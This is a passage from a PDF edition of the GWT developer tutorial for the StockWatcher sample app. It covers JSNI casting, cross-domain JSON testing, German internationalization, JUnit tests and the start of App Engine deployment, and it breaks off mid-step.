Modify the arrayOfStockData method
In this implementation the response is a JavaScript object, not a string. Your next step is to modify the asArrayOfStockData method. Rather than convert the JSON string into a JavaScript array, it needs to cast the JavaScript object returned from the JSNI method as an array of StockData. 1. Modify the asArrayOfStockData method as follows: Change:
/** * Convert the string of JSON into JavaScript object. */ private final native JsArray<StockData> asArrayOfStockData(String json) /*-{ return eval(json); }-*/;

To:
/**

* Cast JavaScriptObject as JsArray of StockData. */ private final native JsArray<StockData> asArrayOfStockData(JavaScriptObject jso) /*-{ return jso; }-*/;

128 / 469

3.3.4.5.

Testing

Whether you chose to serve the JSON-formatted stock data from a different domain or a different port, the new StockWatcher implementation should work around any SOP access restrictions and be able to retrieve the stock data.

Test in development mode
Stock Data served from a different port
1. Make sure the Python server is running. If it's not, at the command line, enter python quoteServer.py 2. In the browser running in development mode, refresh StockWatcher. 3. Add a stock code. StockWatcher displays the Price and Change data. The information is now coming from a different port. 4. Shutdown the Python server. StockWatcher displays the error: Couldn't retrieve JSON 5. Restart the Python server. StockWatcher clears the error and continues displaying Price and Change updates.

Stock Data served from a different domain
1. In the browser running in development mode, refresh StockWatcher. 2. Add a stock code. StockWatcher displays the Price and Change data. The information is now coming from a remote server. 3. In StockWatcher.java, change the JSON_URL so that it is not correct. 4. In the browser running in development mode, refresh StockWatcher. Add a stock code. StockWatcher displays the error: Couldn't retrieve JSON 5. In StockWatcher.java, correct the JSON_URL. 6. In the browser running in development mode, refresh StockWatcher. Add a stock code. StockWatcher clears the error and continues displaying Price and Change updates.

129 / 469

3.4.

Internationalization

At this point, you've created the initial implementation of the StockWatcher application. In this tutorial, you'll learn how to prepare an application to support other languages and data formats by translating the StockWatcher user interface into German. Specifically, you will: 1. Select an internationalization technique. 2. Internationalize StockWatcher by creating a translation for each language supported. 3. Localize StockWatcher by selecting the appropriate translation for the context (locale). Note: For a broader guide to internationalizing a GWT application, see Internationalization.

Before you begin
This tutorial builds on the GWT concepts and the StockWatcher application created in the Build a Sample GWT Application tutorial. If you have not completed the Build a Sample GWT Application tutorial and are familiar with basic GWT concepts, you can import the StockWatcher project as coded to this point. 1. Download the StockWatcher project. 2. Unzip the file. 3. Import the project into Eclipse 1. From the File menu, select the Import... menu option. 2. Select the import source General > Existing Projects into Workspace. Click the Next button. 3. For the root directory, browse to and select the StockWatcher directory (from the unzipped file). Click the Finish button. If you are using ant, edit the gwt.sdk property in StockWatcher/build.xml to point to where you unzipped GWT.

3.4.1.

Design

Determining what needs to be translated...what's localizable
If you look at the current English-language interface for StockWatcher, you will see that there are two types of text that can be localized: constants and messages.

130 / 469

Selecting an internationalization technique
When internationalizing a GWT application, you have several techniques to choose from. Because StockWatcher has only a few constants and parameterized messages in its user interface, you'll use Static String Internationalization. Static String Internationalization Static string initialization requires very little overhead at runtime and therefore is a very efficient technique for translating both constant and parameterized strings. It is also the simplest technique to implement. Static string internationalization uses standard Java properties files to store translated strings and parameterized messages, then implements stronglytyped Java interfaces to retrieve their values. Dynamic String Internationalization Dynamic string internationalization is slower than static string internationalization, but is very flexible. Applications using this technique look up localized strings in the module's host page; therefore, they do not need to be recompiled when you add a new locale. If you need to integrate a GWT application with an existing server-side localization system, dynamic string internationalization is the option to consider. Localizable Interface The most powerful technique is to implement the Localizable interface. Implementing Localizable allows you to go beyond simple string substitution and create localized versions of custom types. It's an advanced internationalization technique that you probably won't have to use very often.

3.4.2.

Creating the translation for each language supported

Process Overview: Static String Internationalization
The process you'll follow for Static String Internationalization is straightforward. 1. First, you'll implement two Java interfaces: • one for string constants, the GWT Constants interface (StockWatcherConstants.java) • one for parameterized messages, the GWT Messages interface (StockWatcherMessages.java) These interfaces use annotations to specify the default translation. 2. Then, for each new language you're supporting, you'll create two Java properties files: • one for string constants (StockWatcherConstants_de.properties) • one for parameterized messages (StockWatcherMessages_de.properties) 3. Finally, you'll replace all the strings hardcoded in the Java source code with method calls to the appropriate interface. Tip: GWT provides a command-line tool, i18nCreator, that automates the creation of Java interfaces to access strings in properties files. This tool comes in handy, especially if you have existing localized properties files you'd like to reuse.

Implement the Constants Interface
First create the Java interface (StockWatcherConstants) that accesses the properties files which hold each translation. The interface uses annotations to specify the default translation. This interface implements the GWT Constants interface. This interface is bound automatically to any StockWatcherConstants*.properties files you create because of its name. The StockWatcherConstants interface contains methods for each of the constants in the properties files. At runtime, when one of these methods is called, the return value comes from whichever properties file that corresponds with the locale. (We'll show you how to set the locale in a minute.) If no locale is set, StockWatcher uses the default translation specified by the annotations. For example, if the locale is set to German, the stockWatcher method will return AktieWatcher; if no locale is set, the stockWatcher method will return StockWatcher.

131 / 469

Create StockWatcherConstants
1. In the client subpackage, create an interface and name it StockWatcherConstants. In Eclipse, in the Package Explorer pane, select the package com.google.gwt.sample.stockwatcher.client From the Eclipse menu bar, select File > New > Interface Eclipse opens a New Java Interface window. 2. Fill in the New Java Interface window. At Name enter StockWatcherConstants Accept the defaults for the other fields. Press Finish Eclipse creates stub code for the StockWatcherConstants interface. 3. Replace the stub with following code. Notice the use of annotations to set default values.
package com.google.gwt.sample.stockwatcher.client; import com.google.gwt.i18n.client.Constants; public interface StockWatcherConstants extends Constants { @DefaultStringValue("StockWatcher") String stockWatcher(); @DefaultStringValue("Symbol") String symbol(); @DefaultStringValue("Price") String price(); @DefaultStringValue("Change") String change(); @DefaultStringValue("Remove") String remove(); @DefaultStringValue("Add") String add();

}

Implementation Note: GWT provides another interface (ConstantsWithLookup) which is similar to Constants except that it also contains methods for looking up a localized string dynamically by name at runtime.

Create the German translation of constants
Encoding for international character sets
When you internationalize your application's interface, keep in mind that the languages you support may contain characters not in the ASCII character set. Therefore, both in the HTML host page (StockWatcher.html), and the Java properties files that contain the translations, you must set the encoding to UTF-8. 1. Check the encoding for the application host page. Open StockWatcher.html. If the encoding is not already set to UTF-8, copy this code into the <head> element.
<meta http-equiv="content-type" content="text/html; charset=UTF-8">

132 / 469

Create StockWatcherConstant_de.properties
1. In the client subpackage, create a Java properties file. At Enter or select the parent folder, select StockWatcher/src/com/google/gwt/sample/stockwatcher/client At File name, enter StockWatcherConstants_de.properties 2. Change the encoding of the file to UTF-8. Select the file and then from the Eclipse menu bar, select File > Properties or right-click. Eclipse opens the Properties window. At Text file encoding, select Other UTF-8. Apply and Save the change. Note: Depending on your Eclipse configuration, when you apply the changes, you might get this warning: UTF-8 conflicts with the encoding defined in the content type (ISO-8859-1). Do you wish to set it anyway? You can ignore the warning and apply the change. 3. Add the mappings for the static text in the German user interface. Copy and paste the following text into the StockWatcherConstant_de.properties file.
stockWatcher = Aktienbeobachter symbol = Symbol price = Kurs change = Änderung remove = Entfernen add = Hinzufügen

Note: Suffixing a properties file If you've never dealt with internationalization before, you may be wondering why the _de suffix is appended to German properties file. The suffix _de is the standard language tag for the German language (Deutsch). Languages tags are abbreviations that indicate a document or application's locale. In addition to specifying the language, they can also contain a subtag indicating the region of a locale. For example, the language tag for French-speaking Canada is fr_CA. In GWT, properties files indicate the locale with a language code suffix (just like Java resource bundles). The exception is the properties file for the default locale. When no locale is explicitly set at runtime, the properties file with no language code suffix is used. For StockWatcher, you've specified the default translation with annotations instead of using a default properties file.

Implement the Messages interface
First create the Java interface (StockWatcherMessages). It accesses the properties files which hold the translations of each parameterized message. This interface implements the GWT Messages interface. Unlike the StockWatcherConstants interface, the methods in this interface contain parameters. When you call these methods, the arguments you pass will replace the placeholders you left in the strings in the properties files. This interface is bound automatically to any StockWatcherMessages*.properties files you create because of its name.

Internationalizing date formats
Parameterized messages are not limited to pop-up alerts and error messages. Any place in the application where you set text on a Label widget has the potential to be a parameterized message. For example, in StockWatcher the timestamp is a parameterized message; not only do you pass in the value of the date, but the date format can vary by locale. 1. In the client subpackage, create an interface and name it StockWatcherMessages. 2. Replace the stub with following code.

133 / 469

package com.google.gwt.sample.stockwatcher.client; import com.google.gwt.i18n.client.Messages; import java.util.Date; public interface StockWatcherMessages extends Messages { @DefaultMessage("''{0}'' is not a valid symbol.") String invalidSymbol(String symbol); @DefaultMessage("Last update: {0,date,medium} {0,time,medium}") String lastUpdate(Date timestamp);

}

Tips on formatting parameterized messages
Specifying the number of arguments Notice that the message strings all have an {0} embedded in them. These are placeholders that will be replaced at runtime by arguments passed to our StockWatcherMessages interface methods. If you have a string that needs more than one argument, number the placeholders For example: myString = First parm is {0}, second parm is {1}, third parm is {2}. Handling quoted text If your messages contains single quotes ('), as many of those in StockWatcher do, you'll need to replace them with two consecutive single quotes in the Java properties files. In general, the formatting rules for GWT messages are the same that apply to Java's MessageFormat class. sequentially.

Create the German translation of parameterized messages
1. Create a Java properties file. At Enter or select the parent folder, select StockWatcher/src/com/google/gwt/sample/stockwatcher/client At File name, enter StockWatcherMessages_de.properties 2. Change the encoding of the file to UTF-8. 3. Add the mappings for the parameterized text in the English user interface. Copy and paste the following text into the StockWatcherMessages_de.properties file.
lastUpdate = Letzte Aktualisierung: {0,date,medium} {0,time,medium} invalidSymbol = ''{0}'' ist kein gültiges Aktiensymbol.

Replacing hardcoded strings with generated localized ones
The next step in internationalizing StockWatcher is to replace all hardcoded strings within the source code with method calls to one of the two new interfaces.

Replacing strings hardcoded in the HTML host page
Currently the StockWatcher application has one string that isn't generated programmatically: the title, StockWatcher. It's an HTML <h1> heading in the host page (StockWatcher.html). In the Build a Sample GWT Application tutorial we wanted to show you that is possible to mix static HTML elements with those generated by StockWatcher on the same page. It was also a fast and easy way of putting static text around the stock table. However, now that you are internationalizing StockWatcher, you can see that this is not the most flexible strategy. An easy way to generate this heading is by replacing the text inside the <h1> element with a GWT Label widget and calling its setText(String) method. Remember, GWT widgets cannot be embedded directly into the HTML host page; so first wrap it with a Root panel. 1. Open StockWatcher.html. Associate a Root panel with the <h1> heading by assigning it an id of "appTitle". Delete the text in the the <h1> heading.

134 / 469

<body> <img src="images/GoogleCode.png"/> <h1>StockWatcher</h1> <h1 id="appTitle"></h1>

Now, you should be able to set all of StockWatcher's localized strings at runtime.

Replacing strings set programmatically
Go through the StockWatcher class and replace all the strings that are hardcoded text. 1. Create instances of the StockWatcherConstants and StockWatcherMessages interfaces. In the StockWatcher class, add the following pair of instance fields.
private ArrayList<String> stocks = new ArrayList<String>(); private StockWatcherConstants constants = GWT.create(StockWatcherConstants.class); private StockWatcherMessages messages = GWT.create(StockWatcherMessages.class);

Because these are interfaces, not classes, you can't instantiate them directly. Instead, you use the GWT.create(Class) method. Then you'll be able to use these interfaces' accessor methods to retrieve the appropriate strings. 2. Eclipse flags GWT and suggests you include the import declaration.
import com.google.gwt.core.client.GWT;

3. Replace all the hardcoded strings with method calls to the constants class. Get the values of the window title, the application title, the Add Stock button, and the column headers of the flex table from the constants properties files.
public void onModuleLoad() { // Set the window title, the header text, and the Add button text. Window.setTitle(constants.stockWatcher()); RootPanel.get("appTitle").add(new Label(constants.stockWatcher())); addStockButton = new Button(constants.add()); // Create table for stock data. stocksFlexTable.setText(0, 0, constants.symbol()); stocksFlexTable.setText(0, 1, constants.price()); stocksFlexTable.setText(0, 2, constants.change()); stocksFlexTable.setText(0, 3, constants.remove()); ...

4. Replace the parameterized error message. In the addStock method, replace the alert message for an invalid stock code entry. Change:
private void addStock() { final String symbol = newSymbolTextBox.getText().toUpperCase().trim(); newSymbolTextBox.setFocus(true); // Stock code must be between 1 and 10 chars that are numbers, letters, or dots. if (!symbol.matches("^[0-9a-zA-Z\\.]{1,10}$")) { Window.alert("'" + symbol + "' is not a valid symbol."); Window.alert(messages.invalidSymbol(symbol)); newSymbolTextBox.selectAll(); return; } ...

5. Move the logic for determining the date format to the Messages interface. In the updateTable(StockPrice[] prices) method, replace the variable timestamp with a call to its lastUpdate method. Change:

135 / 469

private void updateTable(StockPrice[] prices) { for (int i = 0; i < prices.length; i++) { updateTable(prices[i]); } // Display timestamp showing last refresh. lastUpdatedLabel.setText("Last update : " + DateTimeFormat.getMediumDateTimeFormat().format(new Date())); lastUpdatedLabel.setText(messages.lastUpdate(new Date())); }

3.4.3.

Localizing StockWatcher

At this point you have created two localized versions of StockWatcher's user interface. But how does GWT know which one to load at runtime? GWT uses client properties to produce customized JavaScript compilations of your GWT application using a mechanism called deferred binding. To pick the correct localized version of StockWatcher to serve at runtime, GWT evaluates the client property, locale.

Internationalization and Deferred Binding
You saw in the Build a Sample GWT Application tutorial that GWT uses deferred binding to generate different permutations of your application, each one targeting a different web browser. At runtime, the GWT bootstrap code delivers the appropriate permutation depending on which browser the end-user is using. These browser-specific compilations are created because user agent is a GWT client property. In the same way, GWT represents the locale as a client property. This means that the GWT compiler will generate custom versions of internationalized applications representing each supported locale. When there are multiple client properties, GWT generates a unique compilation for every combination of possible client property values. So, for example, if GWT supports 5 web browsers and you translate an application into 4 different languages, the GWT compiler produces a total of 20 different versions of your application. However, each user of your application is served only the code in the permutation matching his or her particular combination of web browser and locale.

Identifying StockWatcher's supported locales
You tell the GWT compiler that StockWatcher now supports the German (de) locale by extending the set of values of the client property, locale. 1. Identify German as a supported language. Open StockWatcher.gwt.xml and add the following property.
<entry-point class='com.google.gwt.sample.stockwatcher.client.StockWatcher'/> <extend-property name="locale" values="de"/> </module>

136 / 469

2. Refresh StockWatcher in development mode. The English language version loads by default. 3. Load the German version. To the end of the URL, append &locale=de http://localhost:8888/StockWatcher.html?gwt.codesvr=127.0.0.1:9997&locale=de All the constants should display in German. 4. Enter a stock code with an invalid character. The error message should display in German. Notice, too, that the date and currency formats are localized.

5. Compile StockWatcher and open it in production mode. The web browser displays StockWatcher's default interface. 6. Test the German interface. Append the locale to the URL ?locale=de The web browser displays StockWatcher's German interface. 7. Look at the files generated. You should see files for twice as many permutations as you did before you created the German-language interface.

Determining the user's locale
At runtime, how do you determine the user's locale? You might do as many websites do, and present the user with a list of languages or locales to choose from manually. You could also have the web server check the Accept-Language field in the browser's HTTP request to determine the correct locale. If you do this, however, be sure to provide a way for the user to override the value in the Accept-Language field and select their language preference.

Setting the locale
Now that StockWatcher is internationalized, how does GWT know which locale to load at runtime? The answer is that it uses the value of the client property, locale. You can set a this client property two ways: • • Add an HTML <meta> tag to the <head> of the application host page, containing the property name and value: <meta name="gwt:property" content="locale=de"> Append the client property value to the query string of the URL: http://www.example.org/myapp.html?locale=de 137 / 469

If you specify a client property (such as locale) in both a <meta> tag and the URL, the URL value takes precedence.

Preserving the locale across multiple browser pages
The locale settings for a GWT module apply only for that particular instance of that particular module. This means that if your application contains links to other GWT host pages or non-GWT web pages on your site, the locale setting does not carry over to those pages. Thus, if you want to preserve the user-specified locale, you'll either need to pass the locale in the query string of all links in your GWT application, or you'll need to store the locale setting somewhere on the server, which can then insert the appropriate <meta> tag into the host pages of any loaded GWT modules.

138 / 469

3.5.

JUnit Testing

At this point, you've created the initial implementation of the StockWatcher application and it seems pretty stable. As the code base evolves, how can you ensure that you don't break existing functionality? The solution is unit testing. Creating a battery of good unit test cases is an important part of ensuring the quality of your application over its lifecycle. To aid you with your testing efforts, GWT provides integration with the open-source JUnit testing framework. You'll be able to create units test that you can run in both development mode and production mode. In this section, you'll add a JUnit unit test to the StockWatcher project. 1. 2. 3. 4. Creating a JUnit test class for StockWatcher and the scripts to run it Running unit tests Writing a unit test Resolving problems identified with unit tests

Note: For a broader guide to JUnit testing, see JUnit Testing.

Before you begin

The StockWatcher project
This tutorial builds on the GWT concepts and the StockWatcher application created in the Build a Sample GWT Application tutorial. If you have not completed the Build a Sample GWT Application tutorial and are familiar with basic GWT concepts, you can import the StockWatcher project as coded to this point. 1. Download the StockWatcher project. 2. Unzip the file. 3. Import the project into Eclipse 1. From the File menu, select the Import... menu option. 2. Select the import source General > Existing Projects into Workspace. Click the Next button. 3. For the root directory, browse to and select the StockWatcher directory (from the unzipped file). Click the Finish button. If you are using ant, edit the gwt.sdk property in StockWatcher/build.xml to point to where you unzipped GWT. If you are using ant, replace all references to path_to_the_junit_jar to point to the location of junit on your system. Note: If you just completed the Build a Sample GWT Application tutorial but did not specify the -junit option with webAppCreator, uncomment the javac.tests, test.dev, test.prod, and test targets in StockWatcher/build.xml and replace all references to path_to_the_junit_jar to point to the location of junit on your system before continuing.

3.5.1.

Creating a JUnit test

When you specified the -junit option, webAppCreator created all the files you need to begin developing JUnit tests. It generates a starter test class, ant targets to run the tests from the command line, and launch configuration files for Eclipse. Starting with GWT 2.0, the former command-line tool junitCreator has been combined into webAppCreator. In Eclipse, navigate down to the StockWatcherTest class by expanding the test/ directory. If you are adding JUnit testing to an existing application you will need add the test/ directory as a source folder within you Eclipse project and update your Build Path to include a reference to an existing JUnit library.

139 / 469

Examining the test class: StockWatcherTest.java
Take a look inside StockWatcherTest.java. This test class was generated in the com.google.gwt.sample.stockwatcher.client package under the StockWatcher/test directory. This is where you will write the unit tests for StockWatcher. Currently it contains a single, simple test: the method testSimple. 1. Open the StockWatcherTest.java file.
package com.google.gwt.sample.stockwatcher.client; import com.google.gwt.junit.client.GWTTestCase; /** * GWT JUnit tests must extend GWTTestCase. */ public class StockWatcherTest extends GWTTestCase { /** * Must refer to a valid module that sources this class. */ public String getModuleName() { return "com.google.gwt.sample.stockwatcher.StockWatcher"; } /** * Add as many tests as you like. */ public void testSimple() { assertTrue(true); } }

// (1)

// (2)

// (3)

140 / 469

Notes: (1) Like all GWT JUnit test cases, the StockWatcherTest class extends the GWTTestCase class in the com.google.gwt.junit.client package. You can create additional test cases by extending this class. (2) The StockWatcherTest class has an abstract method (getModuleName) that must return the name of the GWT module. For StockWatcher, that is com.google.gwt.sample.stockwatcher.StockWatcher. (3) The StockWatcherTest class is generated with one sample test case—a tautological test, testSimple. This testSimple method uses one of the many assert* functions that it inherits from the JUnit Assert class, which is an ancestor of GWTTestCase. The assertTrue(boolean) function asserts that the boolean argument passed in evaluates to true. If not, the testSimple test will fail when run in JUnit.

3.5.2.

Running unit tests

Before you start writing your own unit tests for StockWatcher, make sure the components of the test environment are in place. You can do that by running StockWatcherTest.java which will execute the starter test, testSimple. You can run JUnit tests four ways: • • • • from the command line—using the scripts generated by junitCreator in Eclipse—using the Google Plugin for Eclipse in Eclipse—using the Eclipse launch configuration files generated by webAppCreator in manual test mode

From the command line
The build.xml file generated by GWT webAppCreator includes three generated targets used for testing: • • • test.dev Runs all test classes in development mode. test.prod Runs all test classes in production mode. test Runs both test.dev and test.prod

Note: In order to run tests from the command-line, you will need to have JUnit installed on your system. If you just downloaded the StockWatcher project, you must first open build.xml and replace all references to /path/to/junit3.8.1.jar with the path to junit on your system. 1. In the command shell, browse to the StockWatcher directory. 2. Run the JUnit test in development mode. At the command line, enter ant test.dev 3. The test runs as Java bytecode in a JVM. The simpleTest executes without error.
[junit] Running com.google.gwt.sample.stockwatcher.client.StockWatcherTest [junit] Tests run: 1, Failures: 0, Errors: 0, Time elapsed: 15.851 sec

4. Run the JUnit test in production mode. At the command line, enter ant test.prod 5. The test runs as compiled JavaScript. The simpleTest executes without error.
[junit] Running com.google.gwt.sample.stockwatcher.client.StockWatcherTest [junit] Tests run: 1, Failures: 0, Errors: 0, Time elapsed: 37.042 sec

141 / 469

In Eclipse (using the Google Pluging for Eclipse)
The Google Plugin for Eclipse makes it easy to run tests in Eclipse. 1. Run the JUnit test in development mode. From Package Explorer, right click on the test case you want to run, select Run As > GWT Junit Test 2. The simpleTest executes without error. 3. Run the JUnit test in production mode. From Package Explorer, right click on the test case you want to run, select Run As > GWT Junit Test (production mode) 4. The simpleTest executes without error.

In Eclipse (using generated launch configurations)
You can run unit tests in Eclipse using the launch configurations generated by webAppCreator for both development mode and production mode. 1. Run the JUnit test in development mode. From the Eclipse menu bar, select Run > Run Configurations... 2. In the Run window, select StockWatcherTest-dev 3. If you are using Mac OSX, add the argument to invoke the Java virtual machine. Display the Arguments tab. At VM argument, enter -XstartOnFirstThread -Xmx256M To save the changes to the Arguments, press Apply To run the test, press Run 4. The simpleTest executes without error. 5. Run the JUnit test in production mode. From the Eclipse menu bar, select Run > Run Configurations... 6. In the Run window, select StockWatcherTest-prod 7. If you are using Mac OSX, add the argument to invoke the Java virtual machine. Display the Arguments tab. At VM argument, enter -XstartOnFirstThread -Xmx256M To save the changes to the Arguments, press Apply To run the test, press Run 8. The simpleTest executes without error.

In manual test mode
If you want to select the browser on which to run unit tests, use manual test mode. In manual test mode, the JUnitShell main class runs as usual on a specified GWT module, but instead of running the test immediately, it prints out a URL and waits for a browser to connect. You can manually cut and paste this URL into the browser of your choice, and the unit tests will run in that browser. In Depth: To learn how to run unit tests in manual mode, see the Developer's Guide, Creating a Test Case.

3.5.3.

Writing a unit test

In a real testing scenario, you would want to verify the behavior of as much of StockWatcher as possible. You could add a number of unit tests to the StockWatcherTest class. You would write each test in the form of a public method. If you had a large number of test cases, you could organize them by grouping them into different test classes. However, to learn the process of setting up JUnit tests in GWT, in this tutorial you'll write just one test and run it. 1. Write a JUnit test to verify that the constructor of the StockPrice class is correctly setting the new object's instance fields. To the StockWatcherTest class, add the testStockPriceCtor method as shown below.

142 / 469

/** * Verify that the instance fields in the StockPrice class are set correctly. */ public void testStockPriceCtor() { String symbol = "XYZ"; double price = 70.0; double change = 2.0; double changePercent = 100.0 * change / price; StockPrice sp = new StockPrice(symbol, price, change); assertNotNull(sp); assertEquals(symbol, sp.getSymbol()); assertEquals(price, sp.getPrice(), 0.001); assertEquals(change, sp.getChange(), 0.001); assertEquals(changePercent, sp.getChangePercent(), 0.001);

}

2. Rerun StockWatcherTest in development mode. Both tests should pass.
[junit] Running com.google.gwt.sample.stockwatcher.client.StockWatcherTest [junit] Tests run: 2, Failures: 0, Errors: 0, Time elapsed: 16.601 sec

3.5.4.

Resolving problems identified in unit tests

To see what happens when a unit test fails, you'll reintroduce the arithmetic bug you fixed in the Build a Sample GWT Application tutorial. Originally, the percentage of change was not calculated correctly in the getChangePercent method. To make the unit test fail, you'll break this bit of code again. 1. Introduce a bug into StockWatcher. In StockPrice.java, make the change highlighted below.
public double getChangePercent() { return 10.0 * this.change / this.price; }

2. Run StockWatcherTest in development mode (either in Eclipse of from the command line). JUnit identifies the failed test case (testStockPriceCtor).

(Output if run in Eclipse.) ...and provides a full-stack trace for the exception that resulted—an AssertionFailedError. (Output if run from the command line.)

143 / 469

Testsuite: com.google.gwt.sample.stockwatcher.client.StockWatcherTest Tests run: 2, Failures: 1, Errors: 0, Time elapsed: 16.443 sec Testcase: testSimple took 16.238 sec Testcase: testStockPriceCtor took 0.155 sec FAILED Remote test failed at 172.29.212.75 / Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 expected=2.857142857142857 actual=0.2857142857142857 delta=0.0010 junit.framework.AssertionFailedError: Remote test failed at 172.29.212.75 / Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 expected=2.857142857142857 actual=0.2857142857142857 delta=0.0010 at com.google.gwt.sample.stockwatcher.client.StockWatcherTest.testStockPriceCtor(StockWatcher Test.java:38) at com.google.gwt.sample.stockwatcher.client.__StockWatcherTest_unitTestImpl.doRunTest(__Stoc kWatcherTest_unitTestImpl.java:7) ...

Note: When running from the command line, complete test reports (including stack traces) will be located in the reports/htmlunit.dev/ directory for development mode tests and reports/htmlunit.prod/ directory for production mode tests. 3. Correct the error. 4. Rerun the tests. Both the JUnit tests should complete successfully again.
[junit] Running com.google.gwt.sample.stockwatcher.client.StockWatcherTest [junit] Tests run: 2, Failures: 0, Errors: 0, Time elapsed: 16.114 sec

Best Practices: Because there can be subtle differences between the way GWT applications work when compiled to JavaScript and when running as Java bytecode, make sure you run your unit tests in both development and production modes as you develop your application. Be aware, though, that if your test cases fail when running in production mode, you won't get the full stack trace that you see in development mode.

More about testing
At this point, you've created a JUnit test for StockWatcher and added a simple test case to it. To learn more about all kinds of unit testing in GWT, see the Developer's Guide: • • • • Creating a Test Case Creating Test Suites Asynchronous testing Setting up and tearing down JUnit test cases that use GWT code

144 / 469

3.6.

Deploy to Google App Engine

At this point, you've created the initial implementation of the StockWatcher application, simulating stock data in the clientside code. In this section, you'll deploy this application on Google App Engine. Also, you'll learn about some of the App Engine service APIs and use them to personalize the StockWatcher application so that users can log into their Google Account and retrieve their list of stocks. 1. Get started with App Engine 2. Deploy the application to App Engine 3. Personalize the application with the User Service 4. Store data in the datastore Note: For a broader guide to deploying, see Deploy a GWT Application. This tutorial builds on the GWT concepts and the StockWatcher application created in the Build a Sample GWT Application tutorial. It also uses techniques covered in the GWT RPC tutorial. If you have not completed these tutorials and are familiar with basic GWT concepts, you can import the StockWatcher project as coded to this point, as instructed below.

3.6.1.

Get started with App Engine

Sign up for an App Engine account
Sign up for an App Engine account. After your account is activated, sign in and create an application. Make a note of the application ID you choose because you will need this information when you configure the StockWatcher project. After you've finished with this tutorial you will be able to reuse this application ID for other applications.

Download the App Engine SDK
If you plan to use Eclipse, you can download the App Engine SDK with the Google Plugin for Eclipse. Or download the App Engine SDK for Java separately.

Set up a project
Set up a project (with Eclipse)
If you initially created your StockWatcher Eclipse project using the Google Plugin for Eclipse with both GWT and Google App Engine enabled, your project is already ready to run on App Engine. If not: 1. If you haven't yet, install the Google Plugin for Eclipse with both GWT and App Engine SDK and restart Eclipse. 2. Complete the Build a Sample GWT Application tutorial, making sure to create a project with both GWT and Google App Engine enabled. Alternatively, if you would like to skip the Build a Sample GWT Application tutorial, then download, unzip and import the StockWatcher Eclipse project. To import the project: 1. In the File menu, select the Import... menu option. 2. Select the import source General > Existing Projects into Workspace. Click the Next button. 3. At "Select root directory", browse to and select the StockWatcher directory (from the unzipped file). Click the Finish button. 4. Add the Google Web Toolkit and App Engine functionality to your newly created project (right-click on your project > Google > Web Toolkit / App Engine Settings...). This will add Google Plugin functionality to your project as well as copy required libraries to your project WEB-INF/lib directory automatically.

145 / 469

Set up a project (without Eclipse)
1. If you haven't yet, download the App Engine SDK for Java. 2. Complete the Build a Sample GWT Application tutorial, using webAppCreator to create a GWT application. Alternatively, If you would like to skip the Build a Sample GWT Application tutorial, then download and unzip this file. Edit the gwt.sdk property in the StockWatcher/build.xml, then proceed with the modifications below. 3. App Engine requires its own web application deployment descriptor. Create a file StockWatcher/war/WEBINF/appengine-web.xml with these contents:
<?xml version="1.0" encoding="utf-8"?> <appengine-web-app xmlns="http://appengine.google.com/ns/1.0"> <application><!-- Your App Engine application ID goes here --></application> <version>1</version> </appengine-web-app>

Substitute your App Engine application ID on the second line. Read more about appengine-web.xml. 4. As we will be using Java Data Objects (JDO) later for storing data, create a file StockWatcher/src/METAINF/jdoconfig.xml with these contents:
<?xml version="1.0" encoding="utf-8"?> <jdoconfig xmlns="http://java.sun.com/xml/ns/jdo/jdoconfig" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://java.sun.com/xml/ns/jdo/jdoconfig"> <persistence-manager-factory name="transactions-optional"> <property name="javax.jdo.PersistenceManagerFactoryClass" value="org.datanucleus.store.appengine.jdo.DatastoreJDOPersistenceManagerFactory"/> <property name="javax.jdo.option.ConnectionURL" value="appengine"/> <property name="javax.jdo.option.NontransactionalRead" value="true"/> <property name="javax.jdo.option.NontransactionalWrite" value="true"/> <property name="javax.jdo.option.RetainValues" value="true"/> <property name="datanucleus.appengine.autoCreateDatastoreTxns" value="true"/> </persistence-manager-factory> </jdoconfig>

You will refrence this configuration later by its name "transactions-optional". Read more about jdoconfig.xml. 5. The GWT ant build file needs to be modified to support DataNucleus JDO compilation and use of the App Engine development server. Edit StockWatcher/build.xml and add the following: 1. Add a property for the App Engine SDK directory.
<!-- Configure path to GWT SDK --> <property name="gwt.sdk" location="Path to GWT" /> <!-- Configure path to App Engine SDK --> <property name="appengine.sdk" location="Path to App Engine SDK" />

2. Add a property for a App Engine tools class path.
<path id="project.class.path"> <pathelement location="war/WEB-INF/classes"/> <pathelement location="${gwt.sdk}/gwt-user.jar"/> <fileset dir="${gwt.sdk}" includes="gwt-dev*.jar"/> <!-- Add any additional non-server libs (such as JUnit) --> <fileset dir="war/WEB-INF/lib" includes="**/*.jar"/> </path> <path id="tools.class.path"> <path refid="project.class.path"/> <pathelement location="${appengine.sdk}/lib/appengine-tools-api.jar"/> <fileset dir="${appengine.sdk}/lib/tools"> <include name="**/asm-*.jar"/> <include name="**/datanucleus-enhancer-*.jar"/> </fileset> </path>

146 / 469

3. Modify the "libs" ant target so that the required jar files are copied to WEB-INF/lib.
<target name="libs" description="Copy libs to WEB-INF/lib"> <mkdir dir="war/WEB-INF/lib" /> <copy todir="war/WEB-INF/lib" file="${gwt.sdk}/gwt-servlet.jar" /> <!-- Add any additional server libs that need to be copied --> <copy todir="war/WEB-INF/lib" flatten="true"> <fileset dir="${appengine.sdk}/lib/user" includes="**/*.jar"/> </copy> </target>

4. JDO is implemented with DataNucleus Java byte-code enhancement. Modify the "javac" ant target to add byte-code enhancement.
<target name="javac" depends="libs" description="Compile java source"> <mkdir dir="war/WEB-INF/classes"/> <javac srcdir="src" includes="**" encoding="utf-8" destdir="war/WEB-INF/classes" source="1.5" target="1.5" nowarn="true" debug="true" debuglevel="lines,vars,source"> <classpath refid="project.class.path"/> </javac> <copy todir="war/WEB-INF/classes"> <fileset dir="src" excludes="**/*.java"/> </copy> <taskdef name="datanucleusenhancer" classpathref="tools.class.path" classname="org.datanucleus.enhancer.tools.EnhancerTask" /> <datanucleusenhancer classpathref="tools.class.path" failonerror="true"> <fileset dir="war/WEB-INF/classes" includes="**/*.class" /> </datanucleusenhancer> </target>

5. Modify the "devmode" ant target to use the App Engine development server instead of the servlet container which comes with GWT.
